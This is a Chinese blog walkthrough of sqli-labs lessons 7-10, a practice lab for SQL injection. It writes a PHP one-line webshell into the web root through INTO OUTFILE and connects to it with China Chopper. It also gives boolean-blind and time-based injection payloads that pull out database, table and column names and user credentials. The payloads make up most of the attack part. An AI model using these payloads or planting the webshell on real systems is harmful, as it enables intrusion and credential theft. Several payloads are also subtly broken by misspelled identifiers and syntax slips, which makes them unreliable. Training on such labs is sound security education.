sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)

Posted Zh1z3ven

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)相关的知识,希望对你有一定的参考价值。

写在前面:

  首先需要更改一下数据库用户的权限用于我们之后的操作。

  首先在mysql命令行中用show variables like \'%secure%\';查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 C:\\phpstudy\\PHPTutorial\\MySQL\\my.ini文件,在其中加上一句:secure_file_priv=“/”。

  

 

 

   

  

 

 

 

  重启phpstudy 权限就改过来了

  1.load_file(file_name)导出文件函数:

   Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

   但是这里必须有权限读取并且文件必须完全可读,否则函数返回false。(这也是上面修改权限的原因)

  2.select ....... into outfile \'file_name\' :

  可以把被选择的行写入一个文件中。同样的必须要有文件的读写权限才可以执行此语句。

  比如:select version() into outfile "c:\\\\phpstudy\\\\111.txt" 这里\\\\和windows中/含义类似。这语句执行成功后就把数据库版本写入了111.txt文件中。

  而我们进行注入的时候会把selec后的内容换成一句话木马:<?php @eval($_post["mima"])?> 配合中国菜刀这个软件使用。

  ps:这里select后的内容不仅仅局限于上传一句话木马,也可以上传很多其他内容。

 

   3.一句话木马:

  <?php @eval($_POST[“crow”]);?> 这是php版本的,其中crow是密码。

  一句话木马大都是配合中国菜刀使用

 

  进入正题:

  先看源码 发现id被\'))包裹 ,原理和之前类似 构造语句就OK   

  执行语句:

?id=1\')) union select 1,2,\'<?php @eval($_POST["mm"]);?>\' into outfile "C:\\\\phpStudy\\\\WWW\\\\sqli-labs-master\\\\Less-7\\\\111.php" %23
  

 

 

   这里需要注意几个点,首先php文件是通过into outfile语句生成的,不要在同目录下出现同名的php文件

  关于一句话木马:\'<?php @eval($_POST["mm"]);?>\'  注意?php与@eval之间有空格,很多菜刀连接有问题基本是因为一句话出毛病了。

 

 

 

  虽然出现报错,但是111.php文件已经出现导入内容了。

 

  

 

 

   之后连接中国菜刀,右键空白处选择添加,进入下面页面

  shell路径注意要如下图格式,而不是本地的绝对路径,后面的mm是我对应的密码,也就是一句话中中括号括起来的那两个字母。

  

 

   连接成功后如下:

  

 

   

 

 

 

 

 

less-8:  

    1.布尔盲注:

   id还是用\'包裹,闭合单引号构造语句就好。

   之前用到过 比如 left(),ascii()+substr()进行猜解,这里不再赘述。

   下面主要介绍延时注入的方法。

   2.延时注入:通过if和sleep()函数组合根据页面反应时长(页面返回true会很快,返回flase会执行sleep())

   if(condition,a,b):如果condition返回ture执行a;否则执行b

   sleep(a):等待a秒后返回页面做出反应。

   比如:执行 ?id=1\' and if(length(datatbase())=8,1,sleep(10)) %23

      当数据库长度为8时页面很快出现反应,不为8时会延时10秒返回页面反应。

      同理 执行?id=1\' and if(ascii(substr(database(),1,1))>110,1,sleep(10)) %23

      与上面类似,比较费时,个人感觉逻辑上不如利用二分法布尔盲注快。

下面附上部分步骤:
数据库长度为8位

 

 


猜解数据库名
可以利用and left(database(),1)>\'a\' 猜解第一位
             and left(database(),2)>\'sa\' 猜解前2位 
             left(str,num) 截取str字符串前num位(从左往右)
2.判断表名  

 and ascii(substr((select table_name from infomation_schema.tables where tables_schema=database() limit 0,1),1,1))
判断列名1:ascii+substr
     and ascii(substr((select column_name from information_schema.columns where table_name=security.users limit 0,1),1,1))>97 %23

判断列名2:regexp
     and 1=(select 1 from information_schema.columns where table_name=\'users\' and column_name regexp \'^username\' limit 0,1) %23

3.1利用ascii和substr破解列中的内容:

  ?id=1\' and ascii(substr((select username from security.users limit 0,1),1,1))=68 %23


less 9-10:

  与上面不同,不管如何输入返回都是You are in ....

   所以只能使用延时注入。

  less 9 的id是被 \' 包裹

  less 10 是 "  包裹  注意闭合语句即可 方法就是上面所说的延时注入。

   下面附上less 9的步骤截图:

  

 

 

   上面是用 ascii和substr函数用二分法判断ascii值的延时注入。

  

 

  上面这个是用 left函数分别从1到length长度 的字符分别猜解出所有字符 。个人感觉left语句更简单明了

  下面爆列名:

 

   这里是直接找的 username和password在哪个列

    

 

 

   

 

 

   爆username的内容:

  

 

   同理爆password:

  

 

   

  less 10步骤就不赘述了,上面提到过和less 9的差不多。

 

 

 

 

 

  

 

 

 

  

 

以上是关于sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs注入lesson3-4闯关秘籍

sqli-labs lesson 11-15

sqli-labs(lesson1-lesson22)

SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!

SQL注入:sqli-labs Lesson-2 数字型变量的注入

SQL注入:sqli-labs lesson-1 小白详解